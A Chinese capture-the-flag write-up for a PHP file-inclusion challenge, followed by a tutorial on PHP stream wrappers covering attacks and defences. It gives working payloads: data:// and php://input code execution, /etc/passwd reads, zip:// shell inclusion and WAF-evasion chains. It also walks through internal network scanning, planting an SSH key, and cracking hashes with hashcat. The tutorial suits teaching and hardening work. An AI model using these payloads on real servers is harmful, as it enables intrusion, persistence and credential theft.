【攻防世界】 web file_include详细题解WP
【攻防世界】 web file_include
进入环境

读了一下这段代码,有include()函数和$filename = $_GET['filename'];字段
,知道这道题用了文件包含伪协议的知识点,常见的文件包含伪协议有下面几个:
1.php://filter(读取源码)
?page=php://filter/convert.base64-encode/resource=index.php
2.php://input(执行任意代码)
?page=php://input
3.file://(读取任意文件)
?page=file:///etc/passwd
4.data://(执行任意代码)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4=
5.zip:///phar://(执行压缩包内文件)
?page=zip:///var/www/uploads/shell.zip%23shell.php
因为GET里面参数是filename,首先尝试直接使用payload:?filename=php://filter/read=convert.base64-encode/resource=flag.php

出现了do not hack!字段,很明显这道题做了过滤防护,然后尝试测试常用的转换过滤器,下面是常用的伪协议数据流过滤器:
1.convert.base64-encode,Base64 编码,php://filter/convert.base64-encode/resource=flag.php
2.convert.base64-decode,Base64 解码,php://filter/convert.base64-decode/resource=flag.php
3.convert.iconv.*,字符集转换(如UTF-8→GBK),php://filter/convert.iconv.UTF-8.GBK/resource=flag.php
4.string.toupper,转换为大写,php://filter/string.toupper/resource=data.txt
当然需要一个个去测试,这里测到第三个的时候有发现convert.iconv.*的用法是:convert.iconv.<源编码>.<目标编码>
PHP 扩展(如 mbstring、iconv 和 intl)支持以下编码类型:
1. Unicode 编码
UCS-4*:通用字符集(4 字节固定长度),支持所有 Unicode 字符。
UCS-4BE:UCS-4 的大端字节序(高字节在前)。
UCS-4LE*:UCS-4 的小端字节序(低字节在前)。
UTF-32*:32 位 Unicode 转换格式,与 UCS-4 类似但允许使用 BOM(字节顺序标记)。
UTF-32BE*:UTF-32 的大端字节序。
UTF-32LE*:UTF-32 的小端字节序。
UTF-16*:16 位 Unicode 转换格式,使用 2 或 4 字节表示字符。
UTF-16BE*:UTF-16 的大端字节序。
UTF-16LE*:UTF-16 的小端字节序。
UTF-8*:最常用的变长 Unicode 编码(1-4 字节),全球通用。
2. 其他编码
UTF-7:用于电子邮件的 7 位 ASCII 兼容编码。
UTF7-IMAP:IMAP 邮件协议专用的 UTF-7 变体。
ISO-8859-1(Latin-1):西欧语言。
GBK/GB2312:简体中文。
BIG5:繁体中文。
Shift-JIS:日语。
Windows-1252:扩展的西欧编码。
ASCII:基本英文字符集。
burp抓包


随便选取一种编码格式,没有马上得到flag,放到爆破模块Intruder进行爆破

使用Cluster bomb attack模块进行爆破

这里注意要在设置payloads的时候取消勾选这个,否则会转码

爆破成功,拿到flag
cyberpeace{8acb2f9efc54439415e66df674fffc20}
文件包含伪协议:原理、攻防与实战案例分析
一、伪协议的本质与渗透测试视角
在高级渗透测试中,文件包含伪协议是利用 Web 应用文件加载机制缺陷的一类攻击技术。其核心原理在于通过特殊协议前缀绕过服务器对文件路径的安全检查,实现对任意文件的读取、执行或数据注入。这类攻击往往能突破目录限制,直接访问系统敏感文件或执行远程命令,是 CTF 竞赛和实战攻防中的高频考点。
(一)协议解析机制与漏洞根源
Web 应用通常使用 PHP 的include()、require()等函数加载文件,正常流程为:
- 服务器接收用户传入的文件名参数(如
?page=index.php) - 直接将参数拼接到文件路径中执行加载
- 若未对参数进行严格过滤,攻击者可通过协议前缀篡改加载逻辑
常见的文件包含函数包括:
include()/include_once()require()/require_once()fopen()/file_get_contents()等文件操作函数
二、核心伪协议详解与攻防对抗
(一)PHP 原生伪协议体系
1. 数据读取类协议
// 1. php://filter - 源码泄露利器
?page=php://filter/convert.base64-encode/resource=index.php
// 原理:将index.php源码进行Base64编码后返回,避免PHP解析执行
// 2. file:// - 突破目录限制
?page=file:///etc/passwd
// 原理:直接读取系统文件,绕过相对路径约束
2. 代码执行类协议
// 1. php://input - 动态代码注入
?page=php://input
// POST数据:<?php system('cat /flag'); ?>
// 条件:PHP配置中allow_url_include=On
// 2. data:// - 直接嵌入恶意代码
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=
// 解码后:<?php system('cat /flag'); ?>
3. 压缩文件协议
// zip:// - 执行压缩包内文件
?page=zip:///var/www/uploads/shell.zip%23shell.php
// 原理:读取ZIP压缩包中的指定文件,可绕过上传文件类型限制
(二)防御技术体系与对抗策略
1. 配置层防御
; php.ini 安全配置
allow_url_fopen = Off ; 禁用远程文件打开
allow_url_include = Off ; 禁用远程文件包含
disable_functions = system,exec,shell_exec ; 禁用危险函数
2. 代码层防御
// 1. 白名单机制(最可靠防御)
$whitelist = ['home', 'about', 'contact'];
if (in_array($_GET['page'], $whitelist)) {
include($_GET['page'] . '.php');
}
// 2. 路径规范化检查
$real_path = realpath('/var/www/pages/' . $_GET['page']);
if (strpos($real_path, '/var/www/pages/') === 0) {
include($real_path);
}
3. WAF 规则与日志监控
apache
# ModSecurity规则示例
SecRule ARGS|ARGS_NAMES|REQUEST_URI|REQUEST_BODY "php://|data://|zip://" \
"deny,log,id:'WAF-001'"
# 关键日志监控点
tail -f /var/log/apache2/access.log | grep "php://filter"
三、实战案例分析:从漏洞发现到权限获取
(一)某 CTF 平台实战案例
1.场景描述:
目标网站存在文件包含漏洞,可通过?page=xxx参数控制加载文件,但过滤了 "php"、"/" 等敏感字符。
2.攻击步骤:
2.1信息收集阶段
# 发现存在文件包含漏洞
curl "http://target.com/index.php?page=../../../etc/passwd"
# 响应中包含系统用户信息,确认漏洞存在
2.2绕过过滤机制
# 利用php://filter协议绕过"php"过滤
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index"
# 成功获取index.php源码(注意:此处未写".php"后缀)
2.3代码审计与漏洞利用
// 从Base64解码后的源码中发现数据库配置
$db_config = [
'host' => 'localhost',
'user' => 'admin',
'pass' => 'P@ssw0rd123'
];
2.4进一步渗透
# 利用数据库凭证登录后台
mysql -u admin -p'P@ssw0rd123' -D ctf_db
# 从users表中获取管理员账号密码(MD5加密)
SELECT username, password FROM users;
2.5密码破解与权限提升
# 使用hashcat破解MD5密码
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 成功破解:admin:admin123
(二)某企业真实攻防案例
1.场景描述:
某企业 Web 应用存在文件包含漏洞,攻击者通过data://协议执行任意代码,最终获取服务器权限。
2.攻击链分析:
2.1漏洞探测
# 发现文件包含点
curl "http://enterprise.com/index.php?page=news"
curl "http://enterprise.com/index.php?page=php://filter/convert.base64-encode/resource=news"
# 返回Base64编码的PHP源码
2.2权限探测
// 构造命令执行Payload
?page=data://text/plain,<?php system('id'); ?>
// 响应:uid=33(www-data) gid=33(www-data) groups=33(www-data)
2.3内网信息收集
// 探测内网IP
?page=data://text/plain,<?php system('ip a'); ?>
// 发现内网网段:192.168.1.0/24
// 扫描内网存活主机
?page=data://text/plain,<?php system('for i in $(seq 1 254); do ping -c 1 192.168.1.$i | grep "64 bytes"; done'); ?>
2.4权限提升
// 写入SSH公钥
?page=data://text/plain,<?php file_put_contents('/home/www-data/.ssh/authorized_keys', 'ssh-rsa AAAAB3NzaC1yc2EAAA...'); ?>
// 连接服务器
ssh www-data@192.168.1.10
四、攻防研究新趋势与对抗技术
(一)协议组合攻击技术
// 组合php://filter与data://协议
?page=php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=
// 多层编码混淆,绕过WAF检测
(二)防御技术演进
1.基于 AST 的代码分析
# Python脚本检测危险函数调用
import ast
def detect_vulnerable_functions(code):
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
if node.func.id in ['include', 'require', 'file_get_contents']:
print(f"危险函数调用: {node.func.id}")
2.运行时防护技术
// PHP扩展实现文件包含拦截
PHP_MINIT_FUNCTION(my_protector) {
zend_set_user_opcode_handler(ZEND_INCLUDE, my_include_handler);
return SUCCESS;
}
五、总结与建议
(一)防御者建议
- 禁用不必要的协议:在 php.ini 中关闭
allow_url_fopen和allow_url_include - 实施严格白名单:文件包含参数仅允许预定义的合法值
- 使用安全的文件操作函数:优先使用
__DIR__等绝对路径 - 强化 WAF 规则:针对协议前缀设计多层防御规则
- 持续监控日志:建立异常协议使用的实时告警机制
(二)攻击者建议
- 协议组合使用:通过多层协议嵌套绕过防御
- 编码混淆技术:结合 Base64、URL 编码等隐藏攻击意图
- 环境探测优先:先获取 PHP 配置信息(如
phpinfo())再选择攻击向量 - 利用协议特性:如
php://input可在无文件上传的情况下执行代码
掌握文件包含伪协议攻防技术,需要深入理解 PHP 底层运行机制、协议解析逻辑和 Web 应用安全配置。在实战中,攻防双方的对抗往往体现在对协议特性的细节把控和防御机制的漏洞挖掘上。

浙公网安备 33010602011771号